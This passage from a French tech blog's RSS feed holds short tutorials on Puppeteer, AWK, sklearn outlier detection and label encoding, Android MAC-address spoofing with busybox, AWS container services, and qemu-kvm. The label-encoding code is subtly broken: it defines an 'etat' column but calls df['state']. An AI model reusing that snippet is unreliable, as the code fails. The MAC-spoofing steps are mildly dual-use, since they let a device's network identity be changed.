&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;const elementHandle = await page.$(&amp;#39;a[href=&amp;#34;#chiffrecle&amp;#34;]&amp;#39;);
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;obtenir-le-contenu-texte-dun-élément&#34;&gt;Obtenir le contenu texte d&amp;rsquo;un élément&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;const text = await (await elementHandle.getProperty(&amp;#39;textContent&amp;#39;)).jsonValue();
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p><strong>&ldquo;Puppeteer ou le remplaçant de Selenium.&rdquo;</strong>
Dans cet article plutôt rapide, on retrouve les commandes de base pour créer un premier petit script qui va piloter un Chrome Headless.</p>
<br/>
<h2 id="initialiser-un-browser-non-headless">Initialiser un browser non headless</h2>
<pre tabindex="0"><code>try {
    (async () =&gt; {
		const browser = await puppeteer.launch({headless: false})
        
        [...]
       
	})()

} catch (err) {
    console.error(err)
}
</code></pre><br/>
<h2 id="naviguer-vers-une-page">Naviguer vers une page</h2>
<pre tabindex="0"><code>const page = await browser.newPage()
await page.goto(&#34;https://url_du_site&#34;)
</code></pre><br/>
<h2 id="ajouter-du-contenu-dans-un-input-type-text">Ajouter du contenu dans un input type text</h2>
<pre tabindex="0"><code>await page.type(&#39;#input_search&#39;, &#39;text_a_ajouter&#39;)
</code></pre><br/>
<h2 id="cliquer-sur-un-bouton">Cliquer sur un bouton</h2>
<pre tabindex="0"><code>await page.click(&#39;#buttsearch&#39;)
</code></pre><br/>
<h2 id="chercher-dans-tout-le-corps-dune-page-si-un-pattern-existe">Chercher dans tout le corps d&rsquo;une page si un pattern existe</h2>
<pre tabindex="0"><code>const found = (await page.content()).match(/Chiffre d\&#39;affaires/) 
if (found) {
	
    [...]

}
</code></pre><br/>
<h2 id="sélectionner-un-élément-par-href">Sélectionner un élément par href</h2>
<pre tabindex="0"><code>const elementHandle = await page.$(&#39;a[href=&#34;#chiffrecle&#34;]&#39;);
</code></pre><br/>
<h2 id="obtenir-le-contenu-texte-dun-élément">Obtenir le contenu texte d&rsquo;un élément</h2>
<pre tabindex="0"><code>const text = await (await elementHandle.getProperty(&#39;textContent&#39;)).jsonValue();
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Manipulation de CSV volumineux en Data Science </title>
            <link>https://leandeep.com/manipulation-de-csv-volumineux-en-data-science/</link>
            <pubDate>Fri, 08 Feb 2019 11:41:00 +0000</pubDate>
            
            <guid>https://leandeep.com/manipulation-de-csv-volumineux-en-data-science/</guid>
            <description>&lt;p&gt;Il existe de nombreuses librairies en Python pour manipuler des fichiers CSV. Je recommande l&amp;rsquo;usage des langages de haut niveau comme Python le plus possible car cela permet d&amp;rsquo;automatiser, &lt;em&gt;&amp;ldquo;d&amp;rsquo;APIser&amp;rdquo;&lt;/em&gt; et d&amp;rsquo;industrialiser au maximum ses use cases. Mais parfois lorsqu&amp;rsquo;il faut tailler dans la masse sur des fichiers extrèmement volumineux, rien de tel que les bonnes vieilles méthodes de DevOps :) .&lt;/p&gt;
&lt;p&gt;&lt;code&gt;AWK&lt;/code&gt; à la rescousse pour par exemple extraire toutes les entreprises situées dans le Nord sur un fichier de plusieurs GB.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Il existe de nombreuses librairies en Python pour manipuler des fichiers CSV. Je recommande l&rsquo;usage des langages de haut niveau comme Python le plus possible car cela permet d&rsquo;automatiser, <em>&ldquo;d&rsquo;APIser&rdquo;</em> et d&rsquo;industrialiser au maximum ses use cases. Mais parfois lorsqu&rsquo;il faut tailler dans la masse sur des fichiers extrèmement volumineux, rien de tel que les bonnes vieilles méthodes de DevOps :) .</p>
<p><code>AWK</code> à la rescousse pour par exemple extraire toutes les entreprises situées dans le Nord sur un fichier de plusieurs GB.</p>
<pre tabindex="0"><code>awk -F &#34;;&#34; &#39;$21~/^&#34;(59)([0-9]{3})&#34;$/&#39; mon_fichier_volumineux.csv &gt;&gt; companies_nord.csv
</code></pre><blockquote>
<p>Note: On peut aussi passer par un Dataframe Pandas et lire le fichier CSV par <em>chunks</em> avec ceci <code>pd.read_csv(csv_url,chunksize=500)</code> mais c&rsquo;est quand même beaucoup plus long et lourd&hellip;
Je dirais que cela dépend du use case dans lequel on se trouve. Dans mon cas, générer ce fichier est du one-shot&hellip;</p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Détecter les données aberrantes (outliers)</title>
            <link>https://leandeep.com/d%C3%A9tecter-les-donn%C3%A9es-aberrantes-outliers/</link>
            <pubDate>Mon, 04 Feb 2019 21:23:04 -0700</pubDate>
            
            <guid>https://leandeep.com/d%C3%A9tecter-les-donn%C3%A9es-aberrantes-outliers/</guid>
            <description>&lt;h2 id=&#34;pré-requis&#34;&gt;Pré-requis&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;pip install numpy sklearn
# va installer numpy 1.19.1 et sklearn 0.0
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;charger-les-librairies&#34;&gt;Charger les librairies&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;import numpy as np
from sklearn.covariance import EllipticEnvelope
from sklearn.datasets import make_blobs
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;créer-un-faux-dataset&#34;&gt;Créer un faux dataset&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Create simulated data
X, _ = make_blobs(n_samples = 10,
                  n_features = 2,
                  centers = 1,
                  random_state = 1)

# Remplace les valeurs de la première observation avec des données extrèmes
X[0,0] = 10000
X[0,1] = 10000
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Voici à quoi ressemble notre dataset composé de 10 observations:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="pré-requis">Pré-requis</h2>
<pre tabindex="0"><code>pip install numpy sklearn
# va installer numpy 1.19.1 et sklearn 0.0
</code></pre><br/>
<h2 id="charger-les-librairies">Charger les librairies</h2>
<pre tabindex="0"><code>import numpy as np
from sklearn.covariance import EllipticEnvelope
from sklearn.datasets import make_blobs
</code></pre><br/>
<h2 id="créer-un-faux-dataset">Créer un faux dataset</h2>
<pre tabindex="0"><code># Create simulated data
X, _ = make_blobs(n_samples = 10,
                  n_features = 2,
                  centers = 1,
                  random_state = 1)

# Remplace les valeurs de la première observation avec des données extrèmes
X[0,0] = 10000
X[0,1] = 10000
</code></pre><p>Voici à quoi ressemble notre dataset composé de 10 observations:</p>
<pre tabindex="0"><code>array([[ 1.00000000e+04,  1.00000000e+04],
       [-2.76017908e+00,  5.55121358e+00],
       [-1.61734616e+00,  4.98930508e+00],
       [-5.25790464e-01,  3.30659860e+00],
       [ 8.52518583e-02,  3.64528297e+00],
       [-7.94152277e-01,  2.10495117e+00],
       [-1.34052081e+00,  4.15711949e+00],
       [-1.98197711e+00,  4.02243551e+00],
       [-2.18773166e+00,  3.33352125e+00],
       [-1.97451969e-01,  2.34634916e+00]])
</code></pre><br/>
<h2 id="détecter-les-données-aberrantes-outliers">Détecter les données aberrantes (outliers)</h2>
<pre tabindex="0"><code># Création du détecteur
outlier_detector = EllipticEnvelope(contamination=.1)

# Fit détecteur
outlier_detector.fit(X)

# Predire les outliers
outlier_detector.predict(X)
</code></pre><br/>
<p><strong><code>outlier_detector.predict(X)</code> retourne <code>array([-1,  1,  1,  1,  1,  1,  1,  1,  1,  1])</code></strong></p>
<br/>
<blockquote>
<p><code>EllipticEnvelope</code> suppose que les données soient normalement distribuées et dessine une ellipse autour des données. A l&rsquo;extérieur de l&rsquo;ellipse les observations sont considérées comme aberrantes (labellisées -1). La limitation de cette approche est qu&rsquo;il est nécessaire de spécifier le paramètre de contamination du dataset. <strong>Cela suppose que l&rsquo;on connaisse à l&rsquo;avance la proportion de données aberrantes dans notre dataset; ce qui est impossible.</strong></p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Convertir les données catégorielles en integer pour sklearn</title>
            <link>https://leandeep.com/convertir-les-donn%C3%A9es-cat%C3%A9gorielles-en-integer-pour-sklearn/</link>
            <pubDate>Sat, 02 Feb 2019 22:13:18 -0700</pubDate>
            
            <guid>https://leandeep.com/convertir-les-donn%C3%A9es-cat%C3%A9gorielles-en-integer-pour-sklearn/</guid>
            <description>&lt;h2 id=&#34;pré-requis&#34;&gt;Pré-requis&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;pip install pandas sklearn
# va installer pandas 1.1.0 et sklearn 0.0
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;charger-les-librairies&#34;&gt;Charger les librairies&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;from sklearn import preprocessing
import pandas as pd
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;création-dun-faux-dataset&#34;&gt;Création d&amp;rsquo;un faux dataset&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;raw_data = {
   &amp;#39;patient&amp;#39;: [1, 1, 1, 2, 2],
   &amp;#39;observation&amp;#39;: [1, 2, 3, 1, 2],
   &amp;#39;traitement&amp;#39;: [0, 1, 0, 1, 0],
   &amp;#39;etat&amp;#39;: [&amp;#39;vivant&amp;#39;, &amp;#39;mort&amp;#39;, &amp;#39;zombie&amp;#39;, &amp;#39;vivant&amp;#39;, &amp;#39;mort&amp;#39;]
}

df = pd.DataFrame(raw_data, columns = [&amp;#39;patient&amp;#39;, &amp;#39;observation&amp;#39;, &amp;#39;traitement&amp;#39;, &amp;#39;etat&amp;#39;])
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;fit-the-label-encoder&#34;&gt;Fit the Label Encoder&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Créer un objet label (catégorie) encoder
le = preprocessing.LabelEncoder()

# Remplir l&amp;#39;encoder avec la colonne pandas
le.fit(df[&amp;#39;state&amp;#39;])
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;voir-les-labels-debug&#34;&gt;Voir les labels (debug)&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;list(le.classes_)
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;transformer-les-catégories-en-integers&#34;&gt;Transformer les catégories en integers&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Appliquer l&amp;#39;objet encoder rempli à la colonne Pandas
le.transform(df[&amp;#39;state&amp;#39;])
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;blockquote&gt;
&lt;p&gt;Inverse: Transformer les integers en catégories: &lt;br/&gt;
&lt;code&gt;list(le.inverse_transform([2, 2, 1]))&lt;/code&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="pré-requis">Pré-requis</h2>
<pre tabindex="0"><code>pip install pandas sklearn
# va installer pandas 1.1.0 et sklearn 0.0
</code></pre><br/>
<h2 id="charger-les-librairies">Charger les librairies</h2>
<pre tabindex="0"><code>from sklearn import preprocessing
import pandas as pd
</code></pre><br/>
<h2 id="création-dun-faux-dataset">Création d&rsquo;un faux dataset</h2>
<pre tabindex="0"><code>raw_data = {
   &#39;patient&#39;: [1, 1, 1, 2, 2],
   &#39;observation&#39;: [1, 2, 3, 1, 2],
   &#39;traitement&#39;: [0, 1, 0, 1, 0],
   &#39;etat&#39;: [&#39;vivant&#39;, &#39;mort&#39;, &#39;zombie&#39;, &#39;vivant&#39;, &#39;mort&#39;]
}

df = pd.DataFrame(raw_data, columns = [&#39;patient&#39;, &#39;observation&#39;, &#39;traitement&#39;, &#39;etat&#39;])
</code></pre><br/>
<h2 id="fit-the-label-encoder">Fit the Label Encoder</h2>
<pre tabindex="0"><code># Créer un objet label (catégorie) encoder
le = preprocessing.LabelEncoder()

# Remplir l&#39;encoder avec la colonne pandas
le.fit(df[&#39;state&#39;])
</code></pre><br/>
<h2 id="voir-les-labels-debug">Voir les labels (debug)</h2>
<pre tabindex="0"><code>list(le.classes_)
</code></pre><br/>
<h2 id="transformer-les-catégories-en-integers">Transformer les catégories en integers</h2>
<pre tabindex="0"><code># Appliquer l&#39;objet encoder rempli à la colonne Pandas
le.transform(df[&#39;state&#39;])
</code></pre><br/>
<blockquote>
<p>Inverse: Transformer les integers en catégories: <br/>
<code>list(le.inverse_transform([2, 2, 1]))</code></p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Changer d&#39;adresse MAC sur Android</title>
            <link>https://leandeep.com/changer-dadresse-mac-sur-android/</link>
            <pubDate>Thu, 17 Jan 2019 21:59:00 +0000</pubDate>
            
            <guid>https://leandeep.com/changer-dadresse-mac-sur-android/</guid>
            <description>&lt;h2 id=&#34;1-quest-ce-quune-adresse-mac-&#34;&gt;1. Qu&amp;rsquo;est-ce qu&amp;rsquo;une adresse MAC ?&lt;/h2&gt;
&lt;p&gt;Une &lt;em&gt;Media Access Control address&lt;/em&gt; (adresse MAC) est un identifiant unique composé de 12 caractères assigné aux cartes réseau. En d&amp;rsquo;autres termes, une adresse MAC peut être utilisée pour identifier de manière unique votre téléphone Android phone sur Internet ou dans un réseau local.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;2-spoof-mac-address&#34;&gt;2. Spoof Mac Address&lt;/h2&gt;
&lt;p&gt;Nous allons maintenant votre comment spoofer (modifier) votre adresse MAC.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Il faut que votre Smartphone soit rooté sinon le changement sera temporaire.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="1-quest-ce-quune-adresse-mac-">1. Qu&rsquo;est-ce qu&rsquo;une adresse MAC ?</h2>
<p>Une <em>Media Access Control address</em> (adresse MAC) est un identifiant unique composé de 12 caractères assigné aux cartes réseau. En d&rsquo;autres termes, une adresse MAC peut être utilisée pour identifier de manière unique votre téléphone Android phone sur Internet ou dans un réseau local.</p>
<br/>
<h2 id="2-spoof-mac-address">2. Spoof Mac Address</h2>
<p>Nous allons maintenant votre comment spoofer (modifier) votre adresse MAC.</p>
<blockquote>
<p>Il faut que votre Smartphone soit rooté sinon le changement sera temporaire.</p></blockquote>
<p>Allez dans Settings&gt; System&gt; About phone&gt; Status&gt; WiFi MAC Address pour votre l&rsquo;adresse MAC de la carte Wifi de votre Smartphone. Notez la, nous allons la modifier.</p>
<p>Téléchargez et installez l&rsquo;application Busybox <a href="https://play.google.com/store/apps/details?id=stericson.busybox">https://play.google.com/store/apps/details?id=stericson.busybox</a> .</p>
<p>Allez sur l&rsquo;application Busybox et cliquez sur le bouton Install en bas à gauche. Cela va installer un binaire (busybox) dans votre Smartphone que nous allons utiliser via un terminal directement sur Android.</p>
<br/>
<h3 id="21-option-1">2.1. Option 1</h3>
<p>Téléchargez et installez maintenant le fameux terminal dont je viens de parler appelé &ldquo;Su / Root Command&rdquo; et disponible à l&rsquo;adresse suivante: <a href="https://play.google.com/store/apps/details?id=com.myapkapp.surootcommand">https://play.google.com/store/apps/details?id=com.myapkapp.surootcommand</a></p>
<p>Démarrez le terminal sur votre Smartphone et entrez les commandes suivantes:</p>
<pre tabindex="0"><code>busybox ip link show wlan0

# si wlan0 n&#39;existe pas vous pouvez lister toutes les interfaces via la commande: ip link show

busybox ifconfig wlan0 hw ether XX:XX:XX:YY:YY:YY # Remplacez YY:YY:YY par ce que vous voulez et gardez comme avant la partie XX:XX:XX
</code></pre><p>Pour vérifier que cela a fonctionné:</p>
<p>Soit en entrant la commande:</p>
<pre tabindex="0"><code>busybox iplink show wlan0
</code></pre><p>Ou en retournant dans Settings&gt; System&gt; About phone&gt; Status&gt; WiFi MAC Address</p>
<br/>
<h3 id="22-option-2">2.2. Option 2</h3>
<p>Téléchargez l&rsquo;app <a href="https://play.google.com/store/apps/details?id=net.xnano.android.changemymac&amp;rdid=net.xnano.android.changemymac">https://play.google.com/store/apps/details?id=net.xnano.android.changemymac&rdid=net.xnano.android.changemymac</a></p>
<p>C&rsquo;est une bonne alternative qui permet de créer des profils, restaurer votre ancienne MAC&hellip;</p>
<p>Vérifiez que cela a fonctionné en allant dans Settings&gt; System&gt; About phone&gt; Status&gt; WiFi MAC Address</p>
]]></content>
        </item>
        
        <item>
            <title>Comparaison des services de conteneurisation AWS (ECS, Fargate et EKS) </title>
            <link>https://leandeep.com/comparaison-des-services-de-conteneurisation-aws-ecs-fargate-et-eks/</link>
            <pubDate>Wed, 16 Jan 2019 19:33:00 +0000</pubDate>
            
            <guid>https://leandeep.com/comparaison-des-services-de-conteneurisation-aws-ecs-fargate-et-eks/</guid>
            <description>&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/ecs-fargate-eks.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;
&lt;p&gt;Il n&amp;rsquo;est pas évident de comprendre les différentes entre AWS ECS, Fargate et EKS. Au premier abord ces outils peuvent sembler similaire. Je me suis personnellement vraiment questionné sur la différence entre AWS Fargate et AWS EKS.&lt;/p&gt;
&lt;p&gt;Dans cet article je vais essayer de résumer les différences qu&amp;rsquo;il peut y avoir entre ces 3 services.&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Avantages&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;ECS&lt;/th&gt;
          &lt;th style=&#34;text-align: center&#34;&gt;EKS&lt;/th&gt;
          &lt;th style=&#34;text-align: right&#34;&gt;Fargate&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;Service gratuit (on ne paye que pour le compute sous jacent)&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;Offre toutes les features d’ECS + VPC pour le réseau entre pods et isolation au niveau du cluster Kubernetes&lt;/td&gt;
          &lt;td style=&#34;text-align: right&#34;&gt;Possible d’utiliser l’API de Fargate comme celle d’ECS&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Service historique d’AWS d’orchestration de containers Docker&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;Offre tous les avantages de Kubernetes (cloud agnostic)&lt;/td&gt;
          &lt;td style=&#34;text-align: right&#34;&gt;Permet de faire tourner des clusters hétérogènes constitués d’instance EC2 ou Fargate. Idéal pour scaler rapidement horizontalement&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Possibilité de dupliquer ses environnements via API&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;Réplication des masters Kubernetes dans 3 zones de disponibilités différentes&lt;/td&gt;
          &lt;td style=&#34;text-align: right&#34;&gt;Permet de ne pas avoir à manager l’infrastructure&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Intégration sans couture avec la registry Docker AWS ECR (pas besoin de gérer sa propre registry + workflow simple pour gérer ses images)&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;Possibilité de répliquer l’environnement dans un autre déjà existant avec assez peu de modifications&lt;/td&gt;
          &lt;td style=&#34;text-align: right&#34;&gt;Support AWS VPC network mode; ce qui signifie que les tâches qui tournent sur une même instance partage l’interface réseau (Elastic Network Interface)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Auto-healing des containers Docker&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;Coût assez faible par cluster: $0.20 par heure&lt;/td&gt;
          &lt;td style=&#34;text-align: right&#34;&gt;Coût à l&amp;rsquo;usage du compute et non pas à l’instance EC2 sous-jacente. Cela peut permettre de faire des économies&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;/td&gt;
          &lt;td style=&#34;text-align: center&#34;&gt;Toutes les communications entre pods se font via IP dans le VPC&lt;/td&gt;
          &lt;td style=&#34;text-align: right&#34;&gt;Scalabilité horizontale très rapide (machines provisionées à l’avance)&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Inconvénients&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><img src="/images/ecs-fargate-eks.png" alt="image"></p>
<p>Il n&rsquo;est pas évident de comprendre les différentes entre AWS ECS, Fargate et EKS. Au premier abord ces outils peuvent sembler similaire. Je me suis personnellement vraiment questionné sur la différence entre AWS Fargate et AWS EKS.</p>
<p>Dans cet article je vais essayer de résumer les différences qu&rsquo;il peut y avoir entre ces 3 services.</p>
<br/>
<p><strong>Avantages</strong></p>
<table>
  <thead>
      <tr>
          <th>ECS</th>
          <th style="text-align: center">EKS</th>
          <th style="text-align: right">Fargate</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Service gratuit (on ne paye que pour le compute sous jacent)</td>
          <td style="text-align: center">Offre toutes les features d’ECS + VPC pour le réseau entre pods et isolation au niveau du cluster Kubernetes</td>
          <td style="text-align: right">Possible d’utiliser l’API de Fargate comme celle d’ECS</td>
      </tr>
      <tr>
          <td>Service historique d’AWS d’orchestration de containers Docker</td>
          <td style="text-align: center">Offre tous les avantages de Kubernetes (cloud agnostic)</td>
          <td style="text-align: right">Permet de faire tourner des clusters hétérogènes constitués d’instance EC2 ou Fargate. Idéal pour scaler rapidement horizontalement</td>
      </tr>
      <tr>
          <td>Possibilité de dupliquer ses environnements via API</td>
          <td style="text-align: center">Réplication des masters Kubernetes dans 3 zones de disponibilités différentes</td>
          <td style="text-align: right">Permet de ne pas avoir à manager l’infrastructure</td>
      </tr>
      <tr>
          <td>Intégration sans couture avec la registry Docker AWS ECR (pas besoin de gérer sa propre registry + workflow simple pour gérer ses images)</td>
          <td style="text-align: center">Possibilité de répliquer l’environnement dans un autre déjà existant avec assez peu de modifications</td>
          <td style="text-align: right">Support AWS VPC network mode; ce qui signifie que les tâches qui tournent sur une même instance partage l’interface réseau (Elastic Network Interface)</td>
      </tr>
      <tr>
          <td>Auto-healing des containers Docker</td>
          <td style="text-align: center">Coût assez faible par cluster: $0.20 par heure</td>
          <td style="text-align: right">Coût à l&rsquo;usage du compute et non pas à l’instance EC2 sous-jacente. Cela peut permettre de faire des économies</td>
      </tr>
      <tr>
          <td></td>
          <td style="text-align: center">Toutes les communications entre pods se font via IP dans le VPC</td>
          <td style="text-align: right">Scalabilité horizontale très rapide (machines provisionées à l’avance)</td>
      </tr>
  </tbody>
</table>
<br/>
<p><strong>Inconvénients</strong></p>
<table>
  <thead>
      <tr>
          <th>ECS</th>
          <th style="text-align: center">EKS</th>
          <th style="text-align: right">Fargate</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Service pas simple à utiliser pour les systèmes distribués</td>
          <td style="text-align: center">Faible intégration avec les autres services AWS</td>
          <td style="text-align: right">Moins d’options de customisation</td>
      </tr>
      <tr>
          <td>Scalabité horizontale dépendante du démarrage d’instances EC2</td>
          <td style="text-align: center">Prévoir des charges supplémentaires pour des ressources complémentaires (ex: stockage)</td>
          <td style="text-align: right">Besoin de démarrer ses propres composants</td>
      </tr>
      <tr>
          <td>Obtenir un cluster On-demand peut prendre du temps</td>
          <td style="text-align: center">Pas possible d’avoir plus de 3 clusters par région (quota augmenté par ticket)</td>
          <td style="text-align: right">Démarrage assez long</td>
      </tr>
      <tr>
          <td>Changer le type d’instance n’est pas possible une fois démarrée</td>
          <td style="text-align: center">IAM au niveau des pod est difficile à mettre en place</td>
          <td style="text-align: right">Pas d’accès à un filesystem persistent</td>
      </tr>
  </tbody>
</table>
]]></content>
        </item>
        
        <item>
            <title>Préparation installation Xpenology - Virtualisation sur Deep Learning Station</title>
            <link>https://leandeep.com/pr%C3%A9paration-installation-xpenology-virtualisation-sur-deep-learning-station/</link>
            <pubDate>Fri, 04 Jan 2019 16:11:00 +0000</pubDate>
            
            <guid>https://leandeep.com/pr%C3%A9paration-installation-xpenology-virtualisation-sur-deep-learning-station/</guid>
            <description>&lt;h1 id=&#34;introduction&#34;&gt;Introduction&lt;/h1&gt;
&lt;p&gt;Il y a quelques temps j&amp;rsquo;ai investi dans du matériel informatique et me suis construit une station pour faire du Deep Learning. Depuis quelques semaines et surtout depuis qu&amp;rsquo;on m&amp;rsquo;a parlé du projet Xpenology (Synology maison) je pense à me construire un NAS. Mais débourser environ 800 euros (TTC) sans être certain du résultat ne m&amp;rsquo;enchante guère&amp;hellip;&lt;/p&gt;
&lt;p&gt;Je vais donc expérimenter Xpenology sur ma station de Deep Learning qui possède un grand nombre de disques durs et qui est allumée 24/7. Initialement, je voulais installer Proxmox (hyperviseur type 1) et réinstaller ma config de Deep Learning mais ce dernier n&amp;rsquo;est pas compatible avec ma carte graphique pour faire du &lt;code&gt;passthrough GPU&lt;/code&gt;. Et finalement, après réflexion, c&amp;rsquo;est &lt;em&gt;overkill&lt;/em&gt; pour réaliser une expérimentation. Bref avec cette installation, je vais pouvoir vérifier si ce nouveau NAS maison est bien stable avant d&amp;rsquo;investir.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h1 id="introduction">Introduction</h1>
<p>Il y a quelques temps j&rsquo;ai investi dans du matériel informatique et me suis construit une station pour faire du Deep Learning. Depuis quelques semaines et surtout depuis qu&rsquo;on m&rsquo;a parlé du projet Xpenology (Synology maison) je pense à me construire un NAS. Mais débourser environ 800 euros (TTC) sans être certain du résultat ne m&rsquo;enchante guère&hellip;</p>
<p>Je vais donc expérimenter Xpenology sur ma station de Deep Learning qui possède un grand nombre de disques durs et qui est allumée 24/7. Initialement, je voulais installer Proxmox (hyperviseur type 1) et réinstaller ma config de Deep Learning mais ce dernier n&rsquo;est pas compatible avec ma carte graphique pour faire du <code>passthrough GPU</code>. Et finalement, après réflexion, c&rsquo;est <em>overkill</em> pour réaliser une expérimentation. Bref avec cette installation, je vais pouvoir vérifier si ce nouveau NAS maison est bien stable avant d&rsquo;investir.</p>
<p>Je vais installer l&rsquo;hyperviseur type 2 qemu-kvm pour créer une VM sur laquelle j&rsquo;installerai Xpenology.</p>
<p>J&rsquo;ai passé tellement de temps à configurer ma station de Deep Learning que je ne veux pas prendre le risque d&rsquo;installer n&rsquo;importe quoi sur mon disque dur actuel. Je commence donc par faire un backup de mon SSD et travailler sur le clone pour vérifier qu&rsquo;il a bien fonctionné.</p>
<p>Voici la photo d&rsquo;un boitier assez pratique qui me sert pour cloner mes disques&hellip;</p>
<p><img src="/images/IMG_2801.JPG" alt="image"></p>
<p>Dans cet article, nous allons voir comment installer l&rsquo;hyperviseur et dans un prochain article voir comment installer Xpenology sur une VM.</p>
<br/>
<h1 id="installation">Installation</h1>
<h2 id="installation-de-lhyperviseur">Installation de l&rsquo;hyperviseur</h2>
<p>On vérifie que le hardware est compatible.</p>
<pre tabindex="0"><code>sudo apt-get install cpu-checker
sudo kvm-ok

INFO: /dev/kvm exists
KVM acceleration can be used

# ou $ egrep &#39;^flags.*(vmx|svm)&#39; /proc/cpuinfo
# Si un résultat s&#39;affiche, c&#39;est good !
</code></pre><p>Installation du paquet <code>qemu-kvm</code></p>
<pre tabindex="0"><code>sudo apt-get install qemu-kvm
</code></pre><p>On ajoute l&rsquo;utilisateur courant au groupe kvm</p>
<pre tabindex="0"><code>sudo adduser $USER kvm
</code></pre><p>On télécharge un ISO pour faire nos tests. Par exemple, Ubuntu server 18.04 LTS: <a href="http://releases.ubuntu.com/bionic/">http://releases.ubuntu.com/bionic/</a></p>
<p>Il est possible de créer des VMs via le CLI mais il y a tellement d&rsquo;options possibles avec qemu-kvm qu&rsquo;il est quand même plus simple d&rsquo;utiliser le gui <code>virt-manager</code>.</p>
<blockquote>
<p>Si comme moi vous vous connectez à votre machine en SSH n&rsquo;oubliez pas le flag <code>-X</code>.</p></blockquote>
<p>Voici néanmoins, si vous êtes curieux, les commandes qu&rsquo;il est possible d&rsquo;utiliser:</p>
<p>On crée un fichier image:</p>
<pre tabindex="0"><code>cd ~
mkdir virtual_images
qemu-img create -f qcow2 /home/olivier/virtual_images/ubuntu_1804.img 10G
</code></pre><p>Et on peut crée une VM:</p>
<pre tabindex="0"><code>kvm -m 256 -cdrom ~/ubuntu-18.04.1.0-live-server-amd64.iso -boot d /home/olivier/virtual_images/ubuntu_1804.img
</code></pre><br/>
<h2 id="installation-du-gui">Installation du GUI</h2>
<pre tabindex="0"><code>sudo apt-get install virt-manager
sudo apt-get install libvirt-bin
sudo adduser $USER libvirtd
reboot
sudo service libvirt-bin start
virt-manager
</code></pre><p>Et voilà il est maintenant possible de créer vos VMs&hellip;</p>
<p><img src="/images/virtmanager.png" alt="image"></p>
<p>Pour accéder en SSH à votre nouvelle VM, sélectionner <code>Host device eno1: macvtap</code> comme Network source et <code>Bridge</code> comme Source mode.</p>
<p>Note:
Pour customiser certains paramètres comme la <code>vram</code> par exemple (impossible à faire via virt-manager), il faut le faire via la commande suivante <code>sudo virsh edit &lt;nom-de-la-vm&gt;</code>.</p>
]]></content>
        </item>
        
        <item>
            <title>Créer une clé USB bootable depuis OSX</title>
            <link>https://leandeep.com/cr%C3%A9er-une-cl%C3%A9-usb-bootable-depuis-osx/</link>
            <pubDate>Thu, 03 Jan 2019 22:19:00 +0000</pubDate>
            
            <guid>https://leandeep.com/cr%C3%A9er-une-cl%C3%A9-usb-bootable-depuis-osx/</guid>
